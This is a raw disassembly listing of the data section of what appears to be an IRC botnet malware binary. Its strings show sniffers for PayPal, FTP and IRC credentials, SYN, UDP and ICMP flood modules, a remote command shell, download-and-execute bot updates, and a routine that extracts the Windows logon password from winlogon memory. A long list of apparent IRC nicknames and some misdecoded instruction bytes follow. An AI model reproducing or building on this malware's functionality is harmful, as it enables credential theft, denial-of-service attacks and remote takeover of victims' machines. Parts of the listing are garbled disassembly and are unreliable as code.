aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
